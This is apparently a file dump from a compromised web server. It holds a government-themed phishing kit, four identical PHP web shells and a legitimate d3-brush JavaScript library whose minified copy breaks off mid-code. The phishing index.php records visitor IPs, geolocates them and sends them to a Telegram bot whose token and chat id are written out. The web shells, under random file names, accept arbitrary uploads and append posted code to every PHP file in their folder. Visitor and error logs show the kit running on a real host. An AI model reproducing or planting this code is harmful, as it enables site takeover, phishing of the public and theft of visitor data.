⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
include "anti/anti1.php";
include "anti/anti2.php"; 
include "anti/anti3.php"; 
include "anti/anti4.php"; 
include "anti/anti5.php"; 
include "anti/anti7.php"; 

$api = "8375706559:AAFREIgFRwIAKaE6mHUh3jUkrzoYZ9-k0b0";
$chatid = "-4866103043";
$email ="";

?>
mygov/index.php000064400000004455151676702570007555 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "anti/anti1.php";
include "anti/anti2.php"; 
include "anti/anti3.php"; 
include "anti/anti4.php"; 
include "anti/anti5.php"; 
include "anti/anti7.php"; 
include "email.php";


$ip = getenv("REMOTE_ADDR");


$file = fopen("VISIT.txt","a");


fwrite($file,$ip."  -  ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n");

$IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip));
$COUNTRY = $IP_LOOKUP->country . "\r\n";
$CITY    = $IP_LOOKUP->city . "\r\n";
$REGION  = $IP_LOOKUP->region . "\r\n";
$STATE   = $IP_LOOKUP->regionName . "\r\n";
$ZIPCODE = $IP_LOOKUP->zip . "\r\n";

$msg=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE;

file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($msg)."" );



header("Location: app/");mygov/VISIT.txt000064400000000050151676702570007357 0ustar00105.72.213.126  -  2025-9-13 @ 00:29:44
mygov/error_log000064400000007322151676702570007646 0ustar00[13-Sep-2025 00:29:44 UTC] PHP Warning:  Attempt to read property "country" on null in /home/emeraadmin/public_html/dist/mygov/index.php on line 38
[13-Sep-2025 00:29:44 UTC] PHP Warning:  Attempt to read property "city" on null in /home/emeraadmin/public_html/dist/mygov/index.php on line 39
[13-Sep-2025 00:29:44 UTC] PHP Warning:  Attempt to read property "region" on null in /home/emeraadmin/public_html/dist/mygov/index.php on line 40
[13-Sep-2025 00:29:44 UTC] PHP Warning:  Attempt to read property "regionName" on null in /home/emeraadmin/public_html/dist/mygov/index.php on line 41
[13-Sep-2025 00:29:44 UTC] PHP Warning:  Attempt to read property "zip" on null in /home/emeraadmin/public_html/dist/mygov/index.php on line 42
[13-Sep-2025 00:29:44 UTC] PHP Warning:  file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/emeraadmin/public_html/dist/mygov/index.php on line 46
[13-Sep-2025 00:29:44 UTC] PHP Warning:  file_get_contents(https://api.telegram.org/bot8375706559:AAFREIgFRwIAKaE6mHUh3jUkrzoYZ9-k0b0/sendMessage?chat_id=-4866103043&amp;text=105.72.213.126%0ACountry+%3A+%0D%0ACity%3A+%0D%0ARegion+%3A+%0D%0AState%3A+%0D%0AZip+%3A+%0D%0A): Failed to open stream: no suitable wrapper could be found in /home/emeraadmin/public_html/dist/mygov/index.php on line 46
[15-Apr-2026 06:08:40 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti4.php on line 1
[15-Apr-2026 06:08:40 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti4.php on line 1
[15-Apr-2026 06:08:40 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti5.php on line 1
[15-Apr-2026 06:15:06 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti4.php on line 1
[15-Apr-2026 06:15:06 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti4.php on line 1
[15-Apr-2026 06:15:06 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti5.php on line 1
[15-Apr-2026 06:21:33 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti4.php on line 1
[15-Apr-2026 06:21:33 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti4.php on line 1
[15-Apr-2026 06:21:33 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti1.php:27) in /home/emeraadmin/public_html/dist/mygov/anti/anti5.php on line 1
[15-Apr-2026 09:29:29 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/emeraadmin/public_html/dist/mygov/anti/anti3.php:1) in /home/emeraadmin/public_html/dist/mygov/anti/anti7.php on line 76
mygov/captured.txt000064400000000054151676702570010274 0ustar00ip : ^64.106.213.* | 15/04/2026 09:29:29am

ffmolmne.php000064400000001370151676702570007101 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
egbwaell.php000064400000001370151676702570007060 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
bliickjv.php000064400000001370151676702570007073 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
qwwunmvm.php000064400000001370151676702570007177 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
d3-brush.js000064400000042173151677234540006556 0ustar00// https://d3js.org/d3-brush/ v1.0.6 Copyright 2018 Mike Bostock
(function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-selection'), require('d3-dispatch'), require('d3-drag'), require('d3-interpolate'), require('d3-transition')) :
typeof define === 'function' && define.amd ? define(['exports', 'd3-selection', 'd3-dispatch', 'd3-drag', 'd3-interpolate', 'd3-transition'], factory) :
(factory((global.d3 = global.d3 || {}),global.d3,global.d3,global.d3,global.d3,global.d3));
}(this, (function (exports,d3Selection,d3Dispatch,d3Drag,d3Interpolate,d3Transition) { 'use strict';

function constant(x) {
  return function() {
    return x;
  };
}

function BrushEvent(target, type, selection) {
  this.target = target;
  this.type = type;
  this.selection = selection;
}

function nopropagation() {
  d3Selection.event.stopImmediatePropagation();
}

function noevent() {
  d3Selection.event.preventDefault();
  d3Selection.event.stopImmediatePropagation();
}

var MODE_DRAG = {name: "drag"},
    MODE_SPACE = {name: "space"},
    MODE_HANDLE = {name: "handle"},
    MODE_CENTER = {name: "center"};

var X = {
  name: "x",
  handles: ["e", "w"].map(type),
  input: function(x, e) { return x && [[x[0], e[0][1]], [x[1], e[1][1]]]; },
  output: function(xy) { return xy && [xy[0][0], xy[1][0]]; }
};

var Y = {
  name: "y",
  handles: ["n", "s"].map(type),
  input: function(y, e) { return y && [[e[0][0], y[0]], [e[1][0], y[1]]]; },
  output: function(xy) { return xy && [xy[0][1], xy[1][1]]; }
};

var XY = {
  name: "xy",
  handles: ["n", "e", "s", "w", "nw", "ne", "se", "sw"].map(type),
  input: function(xy) { return xy; },
  output: function(xy) { return xy; }
};

var cursors = {
  overlay: "crosshair",
  selection: "move",
  n: "ns-resize",
  e: "ew-resize",
  s: "ns-resize",
  w: "ew-resize",
  nw: "nwse-resize",
  ne: "nesw-resize",
  se: "nwse-resize",
  sw: "nesw-resize"
};

var flipX = {
  e: "w",
  w: "e",
  nw: "ne",
  ne: "nw",
  se: "sw",
  sw: "se"
};

var flipY = {
  n: "s",
  s: "n",
  nw: "sw",
  ne: "se",
  se: "ne",
  sw: "nw"
};

var signsX = {
  overlay: +1,
  selection: +1,
  n: null,
  e: +1,
  s: null,
  w: -1,
  nw: -1,
  ne: +1,
  se: +1,
  sw: -1
};

var signsY = {
  overlay: +1,
  selection: +1,
  n: -1,
  e: null,
  s: +1,
  w: null,
  nw: -1,
  ne: -1,
  se: +1,
  sw: +1
};

function type(t) {
  return {type: t};
}

// Ignore right-click, since that should open the context menu.
function defaultFilter() {
  return !d3Selection.event.button;
}

function defaultExtent() {
  var svg = this.ownerSVGElement || this;
  return [[0, 0], [svg.width.baseVal.value, svg.height.baseVal.value]];
}

// Like d3.local, but with the name “__brush” rather than auto-generated.
function local(node) {
  while (!node.__brush) if (!(node = node.parentNode)) return;
  return node.__brush;
}

function empty(extent) {
  return extent[0][0] === extent[1][0]
      || extent[0][1] === extent[1][1];
}

function brushSelection(node) {
  var state = node.__brush;
  return state ? state.dim.output(state.selection) : null;
}

function brushX() {
  return brush$1(X);
}

function brushY() {
  return brush$1(Y);
}

function brush() {
  return brush$1(XY);
}

function brush$1(dim) {
  var extent = defaultExtent,
      filter = defaultFilter,
      listeners = d3Dispatch.dispatch(brush, "start", "brush", "end"),
      handleSize = 6,
      touchending;

  function brush(group) {
    var overlay = group
        .property("__brush", initialize)
      .selectAll(".overlay")
      .data([type("overlay")]);

    overlay.enter().append("rect")
        .attr("class", "overlay")
        .attr("pointer-events", "all")
        .attr("cursor", cursors.overlay)
      .merge(overlay)
        .each(function() {
          var extent = local(this).extent;
          d3Selection.select(this)
              .attr("x", extent[0][0])
              .attr("y", extent[0][1])
              .attr("width", extent[1][0] - extent[0][0])
              .attr("height", extent[1][1] - extent[0][1]);
        });

    group.selectAll(".selection")
      .data([type("selection")])
      .enter().append("rect")
        .attr("class", "selection")
        .attr("cursor", cursors.selection)
        .attr("fill", "#777")
        .attr("fill-opacity", 0.3)
        .attr("stroke", "#fff")
        .attr("shape-rendering", "crispEdges");

    var handle = group.selectAll(".handle")
      .data(dim.handles, function(d) { return d.type; });

    handle.exit().remove();

    handle.enter().append("rect")
        .attr("class", function(d) { return "handle handle--" + d.type; })
        .attr("cursor", function(d) { return cursors[d.type]; });

    group
        .each(redraw)
        .attr("fill", "none")
        .attr("pointer-events", "all")
        .style("-webkit-tap-highlight-color", "rgba(0,0,0,0)")
        .on("mousedown.brush touchstart.brush", started);
  }

  brush.move = function(group, selection) {
    if (group.selection) {
      group
          .on("start.brush", function() { emitter(this, arguments).beforestart().start(); })
          .on("interrupt.brush end.brush", function() { emitter(this, arguments).end(); })
          .tween("brush", function() {
            var that = this,
                state = that.__brush,
                emit = emitter(that, arguments),
                selection0 = state.selection,
                selection1 = dim.input(typeof selection === "function" ? selection.apply(this, arguments) : selection, state.extent),
                i = d3Interpolate.interpolate(selection0, selection1);

            function tween(t) {
              state.selection = t === 1 && empty(selection1) ? null : i(t);
              redraw.call(that);
              emit.brush();
            }

            return selection0 && selection1 ? tween : tween(1);
          });
    } else {
      group
          .each(function() {
            var that = this,
                args = arguments,
                state = that.__brush,
                selection1 = dim.input(typeof selection === "function" ? selection.apply(that, args) : selection, state.extent),
                emit = emitter(that, args).beforestart();

            d3Transition.interrupt(that);
            state.selection = selection1 == null || empty(selection1) ? null : selection1;
            redraw.call(that);
            emit.start().brush().end();
          });
    }
  };

  function redraw() {
    var group = d3Selection.select(this),
        selection = local(this).selection;

    if (selection) {
      group.selectAll(".selection")
          .style("display", null)
          .attr("x", selection[0][0])
          .attr("y", selection[0][1])
          .attr("width", selection[1][0] - selection[0][0])
          .attr("height", selection[1][1] - selection[0][1]);

      group.selectAll(".handle")
          .style("display", null)
          .attr("x", function(d) { return d.type[d.type.length - 1] === "e" ? selection[1][0] - handleSize / 2 : selection[0][0] - handleSize / 2; })
          .attr("y", function(d) { return d.type[0] === "s" ? selection[1][1] - handleSize / 2 : selection[0][1] - handleSize / 2; })
          .attr("width", function(d) { return d.type === "n" || d.type === "s" ? selection[1][0] - selection[0][0] + handleSize : handleSize; })
          .attr("height", function(d) { return d.type === "e" || d.type === "w" ? selection[1][1] - selection[0][1] + handleSize : handleSize; });
    }

    else {
      group.selectAll(".selection,.handle")
          .style("display", "none")
          .attr("x", null)
          .attr("y", null)
          .attr("width", null)
          .attr("height", null);
    }
  }

  function emitter(that, args) {
    return that.__brush.emitter || new Emitter(that, args);
  }

  function Emitter(that, args) {
    this.that = that;
    this.args = args;
    this.state = that.__brush;
    this.active = 0;
  }

  Emitter.prototype = {
    beforestart: function() {
      if (++this.active === 1) this.state.emitter = this, this.starting = true;
      return this;
    },
    start: function() {
      if (this.starting) this.starting = false, this.emit("start");
      return this;
    },
    brush: function() {
      this.emit("brush");
      return this;
    },
    end: function() {
      if (--this.active === 0) delete this.state.emitter, this.emit("end");
      return this;
    },
    emit: function(type) {
      d3Selection.customEvent(new BrushEvent(brush, type, dim.output(this.state.selection)), listeners.apply, listeners, [type, this.that, this.args]);
    }
  };

  function started() {
    if (d3Selection.event.touches) { if (d3Selection.event.changedTouches.length < d3Selection.event.touches.length) return noevent(); }
    else if (touchending) return;
    if (!filter.apply(this, arguments)) return;

    var that = this,
        type = d3Selection.event.target.__data__.type,
        mode = (d3Selection.event.metaKey ? type = "overlay" : type) === "selection" ? MODE_DRAG : (d3Selection.event.altKey ? MODE_CENTER : MODE_HANDLE),
        signX = dim === Y ? null : signsX[type],
        signY = dim === X ? null : signsY[type],
        state = local(that),
        extent = state.extent,
        selection = state.selection,
        W = extent[0][0], w0, w1,
        N = extent[0][1], n0, n1,
        E = extent[1][0], e0, e1,
        S = extent[1][1], s0, s1,
        dx,
        dy,
        moving,
        shifting = signX && signY && d3Selection.event.shiftKey,
        lockX,
        lockY,
        point0 = d3Selection.mouse(that),
        point = point0,
        emit = emitter(that, arguments).beforestart();

    if (type === "overlay") {
      state.selection = selection = [
        [w0 = dim === Y ? W : point0[0], n0 = dim === X ? N : point0[1]],
        [e0 = dim === Y ? E : w0, s0 = dim === X ? S : n0]
      ];
    } else {
      w0 = selection[0][0];
      n0 = selection[0][1];
      e0 = selection[1][0];
      s0 = selection[1][1];
    }

    w1 = w0;
    n1 = n0;
    e1 = e0;
    s1 = s0;

    var group = d3Selection.select(that)
        .attr("pointer-events", "none");

    var overlay = group.selectAll(".overlay")
        .attr("cursor", cursors[type]);

    if (d3Selection.event.touches) {
      group
          .on("touchmove.brush", moved, true)
          .on("touchend.brush touchcancel.brush", ended, true);
    } else {
      var view = d3Selection.select(d3Selection.event.view)
          .on("keydown.brush", keydowned, true)
          .on("keyup.brush", keyupped, true)
          .on("mousemove.brush", moved, true)
          .on("mouseup.brush", ended, true);

      d3Drag.dragDisable(d3Selection.event.view);
    }

    nopropagation();
    d3Transition.interrupt(that);
    redraw.call(that);
    emit.start();

    function moved() {
      var point1 = d3Selection.mouse(that);
      if (shifting && !lockX && !lockY) {
        if (Math.abs(point1[0] - point[0]) > Math.abs(point1[1] - point[1])) lockY = true;
        else lockX = true;
      }
      point = point1;
      moving = true;
      noevent();
      move();
    }

    function move() {
      var t;

      dx = point[0] - point0[0];
      dy = point[1] - point0[1];

      switch (mode) {
        case MODE_SPACE:
        case MODE_DRAG: {
          if (signX) dx = Math.max(W - w0, Math.min(E - e0, dx)), w1 = w0 + dx, e1 = e0 + dx;
          if (signY) dy = Math.max(N - n0, Math.min(S - s0, dy)), n1 = n0 + dy, s1 = s0 + dy;
          break;
        }
        case MODE_HANDLE: {
          if (signX < 0) dx = Math.max(W - w0, Math.min(E - w0, dx)), w1 = w0 + dx, e1 = e0;
          else if (signX > 0) dx = Math.max(W - e0, Math.min(E - e0, dx)), w1 = w0, e1 = e0 + dx;
          if (signY < 0) dy = Math.max(N - n0, Math.min(S - n0, dy)), n1 = n0 + dy, s1 = s0;
          else if (signY > 0) dy = Math.max(N - s0, Math.min(S - s0, dy)), n1 = n0, s1 = s0 + dy;
          break;
        }
        case MODE_CENTER: {
          if (signX) w1 = Math.max(W, Math.min(E, w0 - dx * signX)), e1 = Math.max(W, Math.min(E, e0 + dx * signX));
          if (signY) n1 = Math.max(N, Math.min(S, n0 - dy * signY)), s1 = Math.max(N, Math.min(S, s0 + dy * signY));
          break;
        }
      }

      if (e1 < w1) {
        signX *= -1;
        t = w0, w0 = e0, e0 = t;
        t = w1, w1 = e1, e1 = t;
        if (type in flipX) overlay.attr("cursor", cursors[type = flipX[type]]);
      }

      if (s1 < n1) {
        signY *= -1;
        t = n0, n0 = s0, s0 = t;
        t = n1, n1 = s1, s1 = t;
        if (type in flipY) overlay.attr("cursor", cursors[type = flipY[type]]);
      }

      if (state.selection) selection = state.selection; // May be set by brush.move!
      if (lockX) w1 = selection[0][0], e1 = selection[1][0];
      if (lockY) n1 = selection[0][1], s1 = selection[1][1];

      if (selection[0][0] !== w1
          || selection[0][1] !== n1
          || selection[1][0] !== e1
          || selection[1][1] !== s1) {
        state.selection = [[w1, n1], [e1, s1]];
        redraw.call(that);
        emit.brush();
      }
    }

    function ended() {
      nopropagation();
      if (d3Selection.event.touches) {
        if (d3Selection.event.touches.length) return;
        if (touchending) clearTimeout(touchending);
        touchending = setTimeout(function() { touchending = null; }, 500); // Ghost clicks are delayed!
        group.on("touchmove.brush touchend.brush touchcancel.brush", null);
      } else {
        d3Drag.dragEnable(d3Selection.event.view, moving);
        view.on("keydown.brush keyup.brush mousemove.brush mouseup.brush", null);
      }
      group.attr("pointer-events", "all");
      overlay.attr("cursor", cursors.overlay);
      if (state.selection) selection = state.selection; // May be set by brush.move (on start)!
      if (empty(selection)) state.selection = null, redraw.call(that);
      emit.end();
    }

    function keydowned() {
      switch (d3Selection.event.keyCode) {
        case 16: { // SHIFT
          shifting = signX && signY;
          break;
        }
        case 18: { // ALT
          if (mode === MODE_HANDLE) {
            if (signX) e0 = e1 - dx * signX, w0 = w1 + dx * signX;
            if (signY) s0 = s1 - dy * signY, n0 = n1 + dy * signY;
            mode = MODE_CENTER;
            move();
          }
          break;
        }
        case 32: { // SPACE; takes priority over ALT
          if (mode === MODE_HANDLE || mode === MODE_CENTER) {
            if (signX < 0) e0 = e1 - dx; else if (signX > 0) w0 = w1 - dx;
            if (signY < 0) s0 = s1 - dy; else if (signY > 0) n0 = n1 - dy;
            mode = MODE_SPACE;
            overlay.attr("cursor", cursors.selection);
            move();
          }
          break;
        }
        default: return;
      }
      noevent();
    }

    function keyupped() {
      switch (d3Selection.event.keyCode) {
        case 16: { // SHIFT
          if (shifting) {
            lockX = lockY = shifting = false;
            move();
          }
          break;
        }
        case 18: { // ALT
          if (mode === MODE_CENTER) {
            if (signX < 0) e0 = e1; else if (signX > 0) w0 = w1;
            if (signY < 0) s0 = s1; else if (signY > 0) n0 = n1;
            mode = MODE_HANDLE;
            move();
          }
          break;
        }
        case 32: { // SPACE
          if (mode === MODE_SPACE) {
            if (d3Selection.event.altKey) {
              if (signX) e0 = e1 - dx * signX, w0 = w1 + dx * signX;
              if (signY) s0 = s1 - dy * signY, n0 = n1 + dy * signY;
              mode = MODE_CENTER;
            } else {
              if (signX < 0) e0 = e1; else if (signX > 0) w0 = w1;
              if (signY < 0) s0 = s1; else if (signY > 0) n0 = n1;
              mode = MODE_HANDLE;
            }
            overlay.attr("cursor", cursors[type]);
            move();
          }
          break;
        }
        default: return;
      }
      noevent();
    }
  }

  function initialize() {
    var state = this.__brush || {selection: null};
    state.extent = extent.apply(this, arguments);
    state.dim = dim;
    return state;
  }

  brush.extent = function(_) {
    return arguments.length ? (extent = typeof _ === "function" ? _ : constant([[+_[0][0], +_[0][1]], [+_[1][0], +_[1][1]]]), brush) : extent;
  };

  brush.filter = function(_) {
    return arguments.length ? (filter = typeof _ === "function" ? _ : constant(!!_), brush) : filter;
  };

  brush.handleSize = function(_) {
    return arguments.length ? (handleSize = +_, brush) : handleSize;
  };

  brush.on = function() {
    var value = listeners.on.apply(listeners, arguments);
    return value === listeners ? brush : value;
  };

  return brush;
}

exports.brush = brush;
exports.brushX = brushX;
exports.brushY = brushY;
exports.brushSelection = brushSelection;

Object.defineProperty(exports, '__esModule', { value: true });

})));
d3-brush.min.js000064400000020427151677234540007336 0ustar00// https://d3js.org/d3-brush/ v1.0.6 Copyright 2018 Mike Bostock
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("d3-selection"),require("d3-dispatch"),require("d3-drag"),require("d3-interpolate"),require("d3-transition")):"function"==typeof define&&define.amd?define(["exports","d3-selection","d3-dispatch","d3-drag","d3-interpolate","d3-transition"],e):e(t.d3=t.d3||{},t.d3,t.d3,t.d3,t.d3,t.d3)}(this,function(t,e,n,r,s,i){"use strict";function a(t){return function(){return t}}function u(t,e,n){this.target=t,this.type=e,this.selection=n}function o(){e.event.stopImmediatePropagation()}function l(){e.event.preventDefault(),e.event.stopImmediatePropagation()}var c={name:"drag"},h={name:"space"},f={name:"handle"},p={name:"center"},d={name:"x",handles:["e","w"].map(_),input:function(t,e){return t&&[[t[0],e[0][1]],[t[1],e[1][1]]]},output:function(t){return t&&[t[0][0],t[1][0]]}},v={name:"y",handles:["n","s"].map(_),input:function(t,e){return t&&[[e[0][0],t[0]],[e[1][0],t[1]]]},output:function(t){return t&&[t[0][1],t[1][1]]}},m={name:"xy",handles:["n","e","s","w","nw","ne","se","sw"].map(_),input:function(t){return t},output:function(t){return t}},y={overlay:"crosshair",selection:"move",n:"ns-resize",e:"ew-resize",s:"ns-resize",w:"ew-resize",nw:"nwse-resize",ne:"nesw-resize",se:"nwse-resize",sw:"nesw-resize"},b={e:"w",w:"e",nw:"ne",ne:"nw",se:"sw",sw:"se"},w={n:"s",s:"n",nw:"sw",ne:"se",se:"ne",sw:"nw"},g={overlay:1,selection:1,n:null,e:1,s:null,w:-1,nw:-1,ne:1,se:1,sw:-1},x={overlay:1,selection:1,n:-1,e:null,s:1,w:null,nw:-1,ne:-1,se:1,sw:1};function _(t){return{type:t}}function M(){return!e.event.button}function k(){var t=this.ownerSVGElement||this;return[[0,0],[t.width.baseVal.value,t.height.baseVal.value]]}function z(t){for(;!t.__brush;)if(!(t=t.parentNode))return;return t.__brush}function A(t){return t[0][0]===t[1][0]||t[0][1]===t[1][1]}function q(t){var m,q=k,E=M,K=n.dispatch(S,"start","brush","end"),P=6;function S(n){var 